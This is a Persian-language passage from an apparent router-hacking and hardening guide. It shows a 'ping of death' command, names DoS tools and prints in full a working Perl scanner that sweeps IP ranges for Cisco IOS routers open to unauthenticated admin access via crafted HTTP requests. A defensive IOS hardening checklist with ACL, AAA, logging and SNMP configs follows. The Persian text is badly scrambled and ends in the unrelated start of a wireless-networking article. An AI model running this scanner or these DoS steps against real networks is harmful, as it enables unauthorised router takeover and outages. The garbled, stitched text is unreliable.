 و تغييير قابل دستی صورت به نيز ارافز نرم این دیتابيس شود  استفادهRetina  وISSهمانند  معمول های اسکنر همان از شبکه متداول
 است یعنی زمان تعيين صورت به شبکه کردن اسکن برای خودکار تنظيم برنامه این جالب های قابليت از دیگر یکی.است رسانی بروز
انی  بازه هر یا ساعت 12 هر برای توانيد می ن  زم دی  را اسکنر  ای د  پيکربن ایی   سپس  و نمایي ق  از را گزارشات نه  چک  دور راه طری

ان   که است ها شبکه امنيتی مدیران برای بزرگی بسيار مزیت این نمایيد م زم دین  حفاظت  مسوليت  ه ر  را شبکه  چن ده  ب د  عه  یکی  دارن
زار  سخت  یک یا روتر یک که که هنگامی است این برنامه این از استفاده نکات از دیگر د  اف ه  جدی ان  شبکه  ب دون  شود  می  اضافه  ات  ب
  .ننمایيد تکيه قبلی گزارشات به و دهيد انجام را اسکنر این توط منيتتست ا بایستی تاخير

 
DDoS و DoS حملات 

  
 بستگی این ميشود استفاده آنها از شبکه یک  نمودنDownبرای  نيز گاهی ميگيرد صورت خاصی های منظور به نيز حملات گونه این
وذگر  هدف  نوع به دها  از دارد بعضی  نف تفاده  مت ار ping از اس ا  و مرگب ا  ی زار  از سری  یک  ب ا  و دسترسی  در های  اب ا  ی  سری  یک  ب

Exploit ایی ه   ه ات  جهت  ک د  شده  طراحی  سرویس  از سازی  خارج  حملي وان  می  ان تفاده  ت ود  اس ن  از بعضی  نم زار  ای ا  اب  در ه
com.packetstormsecurity.wwwميشوند پيدا ساده ویجستج یک با  براحتی.  
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 ٧٩١    صفحه

Ping of Death  
  

  است زير صورت به مرگبار پينگ کاربرد
 

C:\>ping -n 4294967295 -l 65500 -i 254 127.0.0.1 
Pinging 127.0.0.1 with 65500 bytes of data : 
Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=5ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=5ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=5ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=4ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Reply from 127.0.0.1: bytes=65500 time=3ms TTL=128 
Ping statistics for 127.0.0.1: 
Packets: Sent = 54، Received = 54، Lost = 0 (0% loss،( 
Approximate round trip times in milli-seconds: 
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 ٧٩٢    صفحه

Minimum = 3ms، Maximum = 5ms، Average = 3ms 
   

ستيد  می  و شد   و میRestart نگه دقيقه چند از بعد روتر یعنی ميداد جواب روش این تر قدیمی های مدل در اغلب  از بعضی  از توان
  .نمایيد استفاده محدود صورت به آن های سرویس

 
  DoS های  ابزار

 
 پروتکلی و پکت نوع توانيد حجم می روترتان و شبکه نوع به بسته کنيد استفاده توانيد می هم مرگبار پينگ برای نيز زیر ی ابزارها از
ات  این ميباشد البته راحت بسيار ها ابزار این از استفاده نيدميک استفاده عمليات این جهت که ه  عملي ولی  طور  ب ر  معم انونی  غي  ميباشد  ق

 همچنينی و یابی اشکال و رفع برای شبکه مدیران
  .مينمایيند استفاده ها ابزار این از شبکه بالانس
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 ٧٩٣    صفحه
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 ٧٩٤    صفحه

  
  
زار  از تفاده shadow Dos Analyzer اب د   اس ن  نمایي ه  ای رای SNMP پروتکل   از برنام ل  ب ات  تحلي  سرویس  از سازی  خارج  عملي

 . باشد میDoS عمليات  در من علاقه مورد های ابزار از یکی کلا نماید می استفاده
  

Exploitها   
 

IOSآسيب  اغلب  دارد  وجود  مرکزی افزار نرم این و ها سرویس بين وابستگی که آنجا از ميباشد نيز آن هر ضعف نقطه روتری  هر 
سکو  روتر از مختلفی های مدل برای روزه همه حوزه این در هم متعددی های یپذیر شتر  شود  می  کشف  های سي ن  بي سپلویت  ای ا  آک  ه
رار  استفاده مورد هاRemote Connection برای هم دیگر بعضی و شوند می استفادهDoS عمليات  همان برای دبا  ق ا  توجه  ميگيرن  ب
 هر همانند را روتر یک کنترل براحتی توانست خواهيد اورید می بدستNetsonar خصوص  به امنيتی های اسکنر از که اسکنی نتایج
ند  می  محلی صورت به موجود های اکسپلویت بياورید بيشتر بدست را سرورها همانند شبکه تجهيزات یا بخش ا  بعضی  باش ز  ه ط  ني  فق
شوند  ارائه هستند پذیر روتراسيب یک اینکه دادن نشان برای ه  مي رای  ن تيابی  ب شتر  کلا  دس وق  های  روش از بي رای  ف ر  هک  ب ا  روت  ه

  .موجود پذیریهای آسيب از استفاده تا شود استفاده می
  

  : نمياید می تست را ادمين سطح در دسترسی حق برای را پذیری اسيب یک زیرPerl مثلا 
  

#!/usr/bin/perl 
# 
# Bulk Scanner for the Cisco IOS HTTP Configuration Arbitrary 
# Administrative Access Vulnerability 
# Found: 06-27-01 - Bugtraq ID: 2936 
# Written by hypoclear on 07-03-01 
# 
# usage: ./IOScan.pl <start ip> <end ip> 
# Note: start and end ip must be a Class B or C network 
# example: ./IOScan 192.168.0.0 192.168.255.255 
# 
# hypoclear - hypoclear@jungle.net - http://hypoclear.cjb.net 
# This and all of my programs fall under my disclaimer, which 
# can be found at: http://hypoclear.cjb.net/hypodisclaim.txt 
use IO::Socket; 
die "\nusage: $0 <start ip> <end ip> 
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Note: start and end ip must be a Class B or C network 
ex: ./IOScan 192.168.0.0 192.168.255.255\n\n" unless @ARGV > 0; 
$num = 16; $ipcount = 0; $vuln = 0; 
if (defined $ARGV[1]) 
{ $currentIP = $ARGV[0]; $endIP = $ARGV[1]; 
while(1) 
{ @CURIP = split(/\./,$currentIP); 
if (($CURIP[2] > 255) && ($CURIP[3] > 255)) 
{ scanEnd(); 
} 
print "Scanning $currentIP\n"; 
scan($currentIP); 
if ($currentIP eq $endIP) 
{ scanEnd(); 
} 
if ($CURIP[3] < 255) 
{ $CURIP[3]++; 
} 
else 
{ $CURIP[2]++; 
$CURIP[3]=0; 
} 
$currentIP = ""; 
foreach $item (@CURIP) 
{ $currentIP .= "$item."; 
} 
$currentIP =~ s/\.$//; 
$ipcount++; 
} 
} 
sub scan 
{ while ($num <100) 
{ $IP = $_[0]; 
sender("GET /level/$num/exec/- HTTP/1.0\n\n"); 
if ($webRecv =~ /200 ok/) 
{ $vuln++; 
open(OUT,">>ios.out") || die "Can't write to file"; 
print OUT "$IP is Vulnerable\n"; 
close(OUT); 
$num = 101; 
} 
$num++; 
} 
$num = 16; 
} 
sub sender 
{ $sendsock = IO::Socket::INET -> new(Proto => 'tcp', 
PeerAddr => $IP, 
PeerPort => 80, 
Type => SOCK_STREAM, 
Timeout => 1); 
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unless($sendsock){die "Can't connect to $ARGV[0]"} 
$sendsock->autoflush(1); 
$sendsock -> send($_[0]); 
$webRecv = ""; while(<$sendsock>){$webRecv .= $_} $webRecv =~ s/\n//g; 
close $sendsock; 
} 
sub scanEnd 
{ print "\nScanned $ipcount ip addresses, $vuln addresses found vulnerable.\n"; 
if ($vuln > 0) {print "Check ios.out for vulnerable addresses.";} 
die "\n"; 
} 
 

 
دها  از یکی عنوان به بلکه کنم نمی پيشنهاد را ها  روترIOSهای  پذیری اسيب از استفاده متد کلی طور به انبی  ی مت ا  ج  ای اشاره  آن ب

ع  اکثر در کردم ق  مواق ه  طب ن  تجرب ه  راه ای د . رسد  نمی  نتيجه  ب تفاده  مت ر  SNMP وتکل از پر اس رین  فراگي اربردی  و ت رین  ک  روش ت
 . ميباشد سيسکو های روتر هک در موجود

Security Check List 
Security Not  es 

  
ی  نکات  سری  یک ی ارائه به بخش این در دی  و امنيت ه  در کلي سکو  روترهای  امنيت  زمين ن   اشاره  سي ایيم ای د  نکات  مينم امی  همانن  تم

دام  هر  ظاهر در شاید.کنيد آنها انجام صرف ندارید که لازم را زیادی وقت انها کردن عملی برای و هساد بسيار امنيتی راهبردهای  از ک
 عمل  یک انجام که شد خواهيد متوجه شود گفته کامل طور به هرکدام فلسفه اگر کنند ولی جلوه اهميت بی امنيتی نکات یا ها پيشنهاد این
ستند  نفوذگران که باشيد داشته توجه نکته این به بود خواهد موثر اتان شبکه های رروت ایمنی سطح بالا بردن در چگونه ساده  جادوگر ني
د  و کشف را موجود های ضعف سيستم یک به نگاه در که هستند تيزبينی انسانهای بلکه ا  بررسی مينماین اری  تنه ه  ک د  می  ک ام  تواني  انج
داد  خود  های  انگاری سهل کاهش با که اینست دهيد اط  تع ا  ضعف را  نق اهش  ممکن  حد  ت د  ک اه  هيچ  دهي ه  گ ی  درصد  100 ب  کامل  ایمن

  .نمایيد ان حرکت سمت به توانيد می ولی رسيد نخواهيد
 

دیران  برای که ميباشد امریکا متحده ایالات ملی امنيت سازمان از شده ارائه زیر امنيتی های پيشنهاد ی  تمامی م ا  شبکه  امنيت تاده  ه  فرس
  .است شده

 
IOS Security 

  
  امنيتی های پروتکل

  
Remote Authentication Dial In User Service (RADIUS) 

  
  Authorization and Accounting ) ،( Authentication  AAAمبانی  

  
AAAرای  آنها از که شود می گفته امنيتی افزارهای نرم و ها ابزار از دسته   به سانی  شناسایی  ب ه  ک ر  در ک ام  ثبت  روت وده  ن د  نم ا  ان  ت
ای  مشاهده و دسترسی سطح کنترل ها برای ابزار این از کدام هر از همچنين ميشود استفاده هستند روتر داخل در که زمانی  هر  فعاليته
ه  مجاز  غير که کاربرانی یا نفوذگران دست کردن کوتاه همچنينی و کاربر عملکردهای هر پيگيری اطلاعات تهيه و دریافت و کاربر  ب
  .ميشود ميروند استفاده بالاتر امنيتی سطوح

 
Authentication 

  
  .یک روتر یا و سویچ یک یا ميزبان سرور همانند شبکه جزء یک به دسترسی برای کاربر یک تلاش سنجی اعتبار

 
Authorization 

  
  .آن های روال زیر و سيستم خود و کاربری های گروه. کاربران به دسترسی اختيارات دادن
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Accounting 
  

ن  از بيشتر شده است وصل سيستم به کاربر کدام اینکه همانند است داده انجام را خاصی عمل کسی چه هاینک بررسی زار  سری  ای ا  اب  ه
ه  گردد می استفاده متخاصم های فعاليت و اعمال گيری رد برای ال   ب ه  IP سورس  یک  از اگر  طور مث امی   ب ستمی  تم اط  منابعسي  ارتب

ن  خود  البته شمرد بر گر حمله التح یک را حالت این توان می شود برقرار ه  مطلب  ای ا  صورت  ب ه  تنه ر  واکنش  لازم ا  نميباشد  روت  ب
ه   صورتی در شود می بررسی تری کامل صورت به بازرسی  اینPIX Firewallشدن  فعال ر IDS ک ر  دخول  یک  روت  را مجاز  غي

  .مينماید ثبت خود گزارشات در و نموده قطع را ارتباط آن روتر داخلی فایروال دهد تشخيص
  

 نکات مناسب سنجی اعتبار پروسه یکsetup در بایستی  استAuthentication به  مربوط مسایل شود می ما بحث به مربوط که آنچه
  .بگيرید نظر در را زیر

  
• AAAباشد شده فعال مربوطه فرمان  توسط ·  

 
AAA new-model 

  
اربری  های نام تعریف با سنجی اعتبار محلی دیتابيس ا  و ک ور  رمز  تکلم ند  شده  تعریف  عب ه  لازم· باش ذکر  ب ه  است  ت امی  ک  قواعد  تم
  شود همانند  رعایت بایستی عبور رمز کلمات و ها نام انتخاب در اصولی

 
username test password cisco1234 

  
امی  نمایيد پيکربندی را دو  آنTACACS و RADIUA همانند بایستی نمایيد پا بر  راAAAبخش  سه دارید قصد اگر  های  روش تم

  :از عبارتند موجود سنجی اعتبار
 

enable، krb5، krb5-telnet، line، local، local-case، none، group radius، group tacacs+،group {group-
name}، auth-guest، guest، if-needed 

  
  :باشند زیر صورت به ها این سرویس از یبعض دارد امکان نيستند دسترس قابل ها سرویس همه روی بر که سنجی اعتبار های روش

 
Login – Login authentication to the router، itself 
NASI – NetWare Asynchronous Serial Interface clients 
Enable – To access the privilege level of the router 
ARAP – AppleTalk Remote Access Protocol 
PPP – Point to Point Protocol 

  
 یا ها پروتکل این ميتوانيد شماPPP سرویس  در نه و باشد می دسترس  درlogin سنجی  اعتبار زمان در  فقطkrb5-telnetمثال  برای
  :نمایيد اجرا زیر های فرمان به را امنيتی های سرویس عبارتی به
 

aaa authentication <service> default <method1> [method2 ... ] 
  

  : نمایيد اعمال اینصورت به  راRADIUS در loginسنجی  اعتبار پيکربندی مثال برای
  

aaa authentication login default group radius 
  

  : زیر فرمان صورت به نمایيد تعریف انرا  برایRADIUSسرور  بایستی آن از بعد سپس
  

radius-server host 1.1.1.1 auth-port 1645 acct-port 1646 
  
 از استفاده برای مثالی اینجا نمایيد در اعمال را نباشد دسترس در آنها از یکی انکه هنگام به را ای چندگانه روشهای توانيد می شما لبتها

RADIUSاست شده اورده محلی صورت به سپس و :  
  

aaa authentication login default group radius local 
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ه  ذکر  هم مقاله این در شود می یافت وفور   بهIOSدر  ها سرویس انداختن کار از یا انداختن راه در فرامين اینگونه از ا  هم  منطقی  آنه

دازی  راه به کل در یا و بود سنجی اعتبار مرحله خاص یک دارای خاصی سرویس اگر روتر یک به نفوذ از بعد مثال طور به نيست  ان
  . نمایيد استفاده enable همچون فرامينی از توانيد می داشتيد نياز سرویس یک

 
د   استفاده IOSافزار  نرم برای خود های شبکه در را یافته توسعه های نسخه اخرین هميشه ه  کني سخه  آخرین  معمول  طور  ب ا  ن اگ  ه  ب
د  سرویس  یک  انداری راه با یا و افزاری سخت جدید قطعه هر شدن اضافه از اند بعد نموده رفع را قبلی های ی  شبکه  در جدی ان  داخل  ات
ر  ضروری  غير های سرویس دهيد تمامی انجام دور راه از صورت به هم و محلی صورت به هم را امنيت تست ر  روی ب ر  را روت  غي
 های شکاف هم و حافظه هم و ها سرویس هم کار این با نيست هم نفوذ قابل نيست که فعال سرویسی که اینست کلی قانون یک کنيد فعال

 کنيد مشاهده را روتر جانبی امکانات و ها سرویس روتر روی برShow proc دستور با داشت هيدخوا دسترس در را گسترش بيشتری
  :جمله  از فعال گردند غير بایستی فرمان این جواب در اند شده خاموش قبلا که ها سرور از بعضی

 
Small services (echo، discard، chargen، etc.) 

- no service tcp-small-servers 
- no service udp-small-servers 

 
BOOTP - no ip bootp server 
Finger - no service finger 
HTTP - no ip http server 
SNMP - no snmp-server 

  
د  می اجازه خاص های پکت از بعضی به ها سرویس این از نمایيد بعضی فعال غير را روتر روی یر ضروری غير های سرویس  دهن

 از بعضی کنند استفاده دور راه از پيکربندی یک از اینکه یا . بفرستند را خاصی اطلاعاتی نوع پکت یک یا و یندنما عبور روتر از که
  :باشند  می زیر صورت به شوند فعال غير بایستی که قبيل این از سرویس هایی

 
CDP - no cdp run 
Remote config. - no service config 
Source routing - no ip source-route 

  
  :شود  اجرا رابطی بایستی هر روی بر فرامين این بشوند تر امن توانند می خاص فرامين بعضی با های روتر کاربری های رابط

 
Unused interfaces - shutdown 
No Smurf attacks - no ip directed-broadcast 
Mask replies - no ip mask-reply 
Ad-hoc routing - no ip proxy-arp 

  
ه  بودیم کرده اشاره نوع دو این با قبلا  کهAuxسطر  و کنسول سطر راه  ب ال  هم ر  مجازی  ترمين د  می  روت ا  توانن دی  ب ه  پيکربن  حالت  ب
د   های فرمان صورت به مجازی ترمينال و کنسول بشوند بيشتری امنيت دارای خطی ر ميتوان ی   شوند  امن  زی ستی   راAuxول ر  بای  غي
  . نمایيد فعال

 
Console Line - line con 0 exec-timeout 5 0 login 
Auxiliary Line - line aux 0 no exec exec-timeout 0 10 transport input none 
VTY lines - line vty 0 4 exec-timeout 5 0 login transport input telnet ssh 

  
ا  که  راPassword Secret  شوند  تعيين و بندیپيکر امنی صورت به هميشه مثل بایستی مينمایيد استفاده که پسووردهایی  الگوریتم   ب

MD5برای همچنينی و مجازی ترمينال برای ميتوانيد نمایيد تعيين عبور کلمه نيز کنسول سطر حالت برای همچنين نمایيد فعال را است 
Aux زا استفاده با عبورتان رمز کلمات از ای پایه حفاظت یک نمایيد فعال را رمز کلمه نيز service password-encryptionفراهم 
  . کنيد

 
  : مثال
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Enable secret -enable secret 0 2manyRt3s 
Console Line - line con 0 password Soda-4-jimmY 
Auxiliary Line - line aux 0 password Popcorn-4-sara 
VTY Lines - line vty 0 4 password Dots-4-georg3 
Basic protection - service password-encryption 

  
 .نمایيد فعال را دور راه از مدیران دسترسی برای انرا ميکند پشتيبانی  راSSHارتباطی  امن پروتکل روترتان اگر

 
  .کنيد حفاظت مجاز غير های دسترسی از را روترهایتان پيکربندی فایل 
 

ی  های نسخه اینصورت به کنيد اغاز ار دستيابی ليست  تعریفno access-list nnnفرمان  با هميشه ستهای  قبل ا  دسترسی  لي  شماره   ب
nnnمينمایيد پایک را .  

 
East(config)# no access-list 51East(config)# access-list 51 permit host 14.2.9.6 
East(config)# access-list 51 deny any log 

  
 هر پایان در است پورت درست هر به مربوط اطلاعات شوید مطمئن اینکه برای يدنمای ثبت را روتر پورتهای با ارتباطات تمامی ليست
  .نمایيد مشخص زیر صورت به را ها پورت از مشخصی حوزه دستيابی ليست

 
access-list 106 deny udp any range 1 65535any range 1 65535 log access-list 106 deny tcp any range 
1 65535any range 1 65535 log access-list 106 deny ip any any log 

  
  .است ضروری شدن ثبت  برایUDP  وTCPهای پروتکل از هایی پکت شدن خارج از شدن مطمئن برای خط آخرین

 
رای  وگيری  ب تفاده  ء سو  از جل ر  از اس ان  شبکه  های  روت ه  حملات  در ات ه  دیگر  های  سایت  ب ن  ب ه  ای د   نکت ور  توجه کني د  مجب ه  کني  ک

ط   روتر یک در کنند استفاده دستيابی ليست از دهی آدرس ترافيک های تمحدودی ه  مرزی فق ی  های  ادرس ب ه  شدن  وارد اجازه  داخل  ب
راهم  را خارجی  های رابط به رابط داخلی یک دسترسی برای فقط و بدهيد را داخلی های رابط د  ف ر  خارجی  تماميارتباطات  و نمایي  غي
  .باشد  نمی آسان عمل این پيچيده های ساختار با بزرگ های شيکه برای البته نمایيد بلوکه را دستيابی نيستند ليست در که را مجاز

 
East(config)# no access-list 101  
East(config)# access-list 101permit ip 14.2.6.0 0.0.0.255 any 
East(config)# access-list 101 deny ip any any log  
East(config)# no access-list 102  
East(config)# access-list 102 permit ip any 14.2.6.0 0.0.0.255  
East(config)# access-list 102 deny ip any any log  
East(config)# interface eth 1  
East(config-if)# ip access-group 101 in 
East(config-if)# exit  
East(config)# interface eth 0  
East(configif)#ip access-group 101 out  
East(config-if)# ip access-group 102 in 

  
ان  قابل غير های شبکه از که خارجی مشکوک ارتباطات تمامی د  می  اطمين شان  پکت  را این د   را های ه نمایي ثلا  بلوک ع  بابررسی  م  و منب
  : کنيد اطمينان زیر قلابی هایIP به  توان نمی مثال طور به ها آدرس مقصد

 
0.0.0.0/8، 10.0.0.0/8، 169.254.0.0/16، 172.16.0.0/12، 192.168.0.0/16. 

  
رای  اعمال خارجی های رابط روی بر شبکه از خارج ترافيک فيلترینگ عمليات از جزیی بایستی حفاظت این شتر  اطلاعات  گردد ب  بي
  . نمایيد مراجعهRFC 1918 به 
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تبابی  ليست حفاظت همچنين و فایروال زدن گول یامروز هک متدهای ترین پيچيده از یکی ر  دس ا  روت ق  ه شان  ار طری ه  خود  دادن ن  ب
 بلوکه را رادارند داخلی منبع یک از خود دادن نمایش در طریق سعی به که را هایی پکت کليه ميباشد سيستم داخلی منابع از یکی عنوان
   IP Spoofingنمایيد 

 
  .باشد پکت حقيقی منبع یک نميتواند این نمایيد بلوکه را  8 /127.0.0.1 شبکه  همانندloopbackمنبع  از امده های پکت تمامی

 
  . نمایيد بلوکه  راMulticastهای  های پکت تمامی نماید نمی استفاده  راIP multicatشما  شبکه اگر

 
ا  سرویس های پکت تمامی است ممکن این البته نمایيد بلوکه  راbroadcastهای  پکت تمامی ه  راBootP  وDHCP همچون  یه  بلوک
  .گيرند قرار استفاده مورد خارجی های رابط در های سرویس چنين نبایستی گرچه نمایند
ند   شبکه  mask و پيغام تقاضای redirect . ICMP echoهای  پکت از ستفاده با ها هکر حملات از ای پيشرفته انواعی امی  ميباش  تم
  .است شده اشاره بالا موارد تمامی به کنيد وجهت زیر مثال به نمایيد بلوکه را آنها

 
North(config)# no access-list 107 
North(config)# ! block our internal addresses 
North(config)# access-list 107 deny ip14.2.0.0 0.0.255.255 any log 
North(config)# access-list 107 deny ip14.1.0.0 0.0.255.255 any log 
North(config)# ! block special/reserved addresses 
North(config)# access-list 107 deny ip127.0.0.0 0.255.255.255 any log 
North(config)# access-list 107 deny ip0.0.0.0 0.255.255.255 any log 
North(config)# access-list 107 deny ip10.0.0.0 0.255.255.255 any log 
North(config)# access-list 107 deny ip169.254.0.0 0.0.255.255 any log 
North(config)# accesslist 107 deny ip172.16.0.0 0.15.255.255 any log 
North(config)# access-list 107 deny ip192.168.0.0 0.0.255.255 any log 
North(config)# ! block multicast (if not used) 
North(config)# access-list 107 deny ip224.0.0.0 15.255.255.255any 
North(config)# ! block some ICMP message types 
North(config)# access-list 107 deny icmp any any redirect log 
North(config)# access-list 107 deny icmp any any echo log 
North(config)# access-list 107 deny icmp any any mask-request log 
North(config)# access-list 107 permit ip any 14.2.0.0 0.0.255.255  
North(config)# access-list 107 permit ip any 14.1.0.0 0.0.255.255 
North(config)# interface Eth 0/0  
North(config-if)# description External interface 
North(config-if)# ip access-group 107 in 

  
  نمایيد بلوک را ميایند داخلی منبع یک از دهند نشان مينمایند سعی که را ارتباطاتی تمامی

 
access-list 102 deny ip host 14.1.1.250 host 14.1.1.250 log 
interface Eth 0/1 
ip address 14.1.1.250 255.255.0.0 
ip access-group 102 in 

  
  نمایيد ایجاد نت تل ارتباطات کنترل جهت مجاری ترمينال برای را دستيابی ليست یک

  
South(config)# no access-list 92 South 
(config)# access-list 92 permit 14.2.10.1 
South(config)# access-list 92 permit 14.2.9.1 
South(config)# line vty 0 4  
South(config-line)# access-class 92 in 
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د  کمک شما به زمينه دو در این نمایيد فعال روترها از کدام هر برای حتما را وقایع ثبت قابليت ود یکی   خواه ام  در نم ر  هنگ ا  خورد  ب  ب
  ميزبان یک یا داخلی شبکه یک از که پکت ها شدن بلوکه هنگام به دیگری و شده ایجاد فنی مشکلات همچنينی و خطاها

 
Central(config)# logging on  
Central(config)# logging 14.2.9.1 
Central(config)# logging buffered 16000  
Central(config)# logging console critical  
Central(config)# logging trap informational  
Central(config)# logging facility local1 

  
 اطلاعات هستيد مطمئن که را هم از متفاوت  سرورNTPدو  کار این برای حداقل کنيد پيکربندی زمانی وقایع ثبت صورت به را روتر
 بيشتریپيدا بادقت را نفوذگران رد که دهد می اجازه امنيت شبکه مدیر به این کنيد پيکربندی را دهند قرارمی دسترس در را خوبی زمانی
  کنيد توجه زیر مثال به نماید

 
East(config)# service timestamps log datetime localtime showtimezonemsec 
East(config)# clock timezone GMT 0 
East(config)# ntp server 14.1.1.250 
East(config)# ntp server 14.2.9.1 

  
 SNMP مجموعه نام برای سخت اسم یک همرا  بهSNMP ACL یک حتما دارد  نيازSNMPپروتکل  نمودن اجرا به شما شبکه اگر
يش  مجموعه  اسم  برداشتن نحوه زیر مثال نمایيد انتخاب را نشود زده حدس براحتی که ا SNMP فرض   پ ه  read only خاصيت   ب  وب

راه   ایش  راACL هم د  می  نم ن  ده ه  ای ات  نکت وذ  عملي ق   از نف ر  مشکل  راSNMP طری ی  سازد  می  ت از  اگر  کل  در ول د  ني ن  نداری  ای
   سازید لفعا غی را پروتکل

  
East(config)# no snmp community public ro 
East(config)# no snmp community private rw  
East(config)# no access-list 51 
East(config)# access-list 51 permit 14.2.9.1 
East(config)# snmp community BTRl8+never ro 51 
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  ميس یب یاه شبکه که رامونيپ یمباحث
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  : منابع
 

Hacker’s Club, PC Magazine, MIT Lab, @Stake, CalTech, Micro$oft, Sun Microsystems, NSA , 
NASA, SETI ,MIT AI Labs, and so other confidential resources 
Spexial TNX 2 
P0fn0r - Smurf- Invisible-boy - Sp00f3r – XAchillesX 
– N0thing - 1k1llg0d - Behr00z_Ice 
& So Other Devil B0ys & My Friends & My Students 

  
  : مقدمه

  
 : دیآمد خوش سوم هزاره به
  
 در را کيالکترون و وتريکامپ به مربوط یعلم یاهکنفرانس  نيمچنه و اهشگاه ینما اکثر در ديتوان یم شما که است یا یغاتيتبل تريت نیا
ه یرا یتکنولوژ زیتما که باشد آمده وجود به نن تاهذ در سوال نید ایشا دیينما دههمشا انهج از نقطه ره ا دوران   دوران نی ا در یا ان  یب

را  تامل قابل ک جوابی دیشا. شود یم شامل ییاه زيچ چه را سال 20 یزمان اختلاف از کمتر ه  نست یا سوال  نی ا یب ه  یدوران  در ک  ن
 اشتراک به ازين مه یشبکه ا یآور فن رشد به رو توسعه با بودند گریکدی با درتعامل منفرد صورت به ی اطلاعاتیاههگایپا دور چندان
ود  خواستار  را یاه  یتکنولوژ آمدن بوجود به ازين ک طرفی از اطلاعات انتقال سرعت شیافزا نيمچنه و اه داده یگذار ه  ب  في ط ک
سئله  زي ن گر ید طرف از و نمود یم یبانيپشت را برانکار نيمچنه و یان تجاریمشتر از یعيوس ر  ت اطلاعات ي امن م سئله  نی ا ب اث  م  ريت
  . بود گذار

  
  
وان  ینم  گر ید و اند دهيرس خود موجود ییاهن تيظرف به یکنون یاه شبکه دیشا ا درخواست   ت ه  رو ب زا  ب اربران  یتصاعد  و شیاف  و ک
ود   قبول قابل یصورت به اهازين یجوابگو موجود یاه پروتکل نيمچنه و اه یلوژتکنو ه بريتک با تر بالا یاه سرعت به ازين نيمچنه ب

ود  ی تلق Grid به  موسوم اه شبکه یبعد نسل آمدن بوجود توان یم را ییاهن حل راه البته سئله  یول  نم ه  نست یا م ا  ک ل  ت ه  آز قب  وجود  ب
تفاده هج لازم یاهبستر آمدن ون  مشکلات  حل  راهGrid شبکه   از ت اس ا  امر  متخصصان . باشد  یزم يچ هچ  یکن رفتن  نظر  در ب  نی ا گ
  . دهد جواب ییاه بخش در اه کمبود نیا به طور موقت به یحد تا توانست یم که آوردند ییاه یآور فن به رو مسائل

  
 فی تعر رام ي س یب یاه شبکه یا حوزه نسخ در ینيمچنه و یا وارههما سرعت پر یاه شبکه یآمدن تئور شکل نهيزم بيترت نیا به و

   ( Wireless Networking ) . نمود
 
ان  شود  یم  شامل یر سطحه در را مقاله نیا خوانندگان مهه فيط سندهینو نظر از مقاله نیا یکل دگاهید ه  نی ا مخاطب د  یم  مقال ا  توانن  ب

   .ندینما افتینه دريزم در که یاتيتجرب نيمچنه و IT مقاله از را خود ازين مورد مهيمفا و اطلاعات  دارندیفرد یاه یتوانا به توجه
  
  : مولانا گفته قول به
  

  من اری شد خود ظن از یکس ره
  
ام  به یمهم ی شاخه ریز  وIT نه يدر زم خصوص به اه نهيزم کل در مقالات سندگانینو یرو شيپ مشکلات از یکی کل در  و شبکه  ن
 چه با داند یمقاله نم سندهینو که است نیا که ضد و که عام ومهمف به ای و شبکه تيامن نام به یا دهيچيپ مهيمفا با بودن مواجه نيمچنه
ه  نی نکه ا یا و بود دهخوا مواجه یمعلومات سطح چه با و خوانندگان از یفيط سان  چه  را مقال ه  یک د هخوا مطالع ود  ن  نی ا است  ممکن  .نم

وم  دسن هم کی  ای  و شتري ب ای   ساله 16ا ی15 نوجوان  کی ای و استاد دانشگاه کی را مقاله ه یرا عل ه ه از ای  و مختلف  - سطوح  در ان  م
د یمطالعه نما اش یمشک کلاه نوع از مه آن یا حرفه کره کی مترهم ه  دي نيب ی م  .ن ه  کی  یعلم  سطح  و یارمونه  ميتنظ  ک در  مقال  چق

 را خوانندگان عيوس فيط دیم باه گرید طرف از و داشت مقاله یعلم سطح بودن بالا به یخاص توجه دیبا طرف کی باشد از یم سخت
وان  یم دوستان ار یکی قول به. ديباش داشته نظر در ا آوردن  ت در  یفن  زی ر نکات  ب ه  سطح  آنق الا  را مقال رد  ب ه  ای  و ب ول  ب  را مطلب  یق
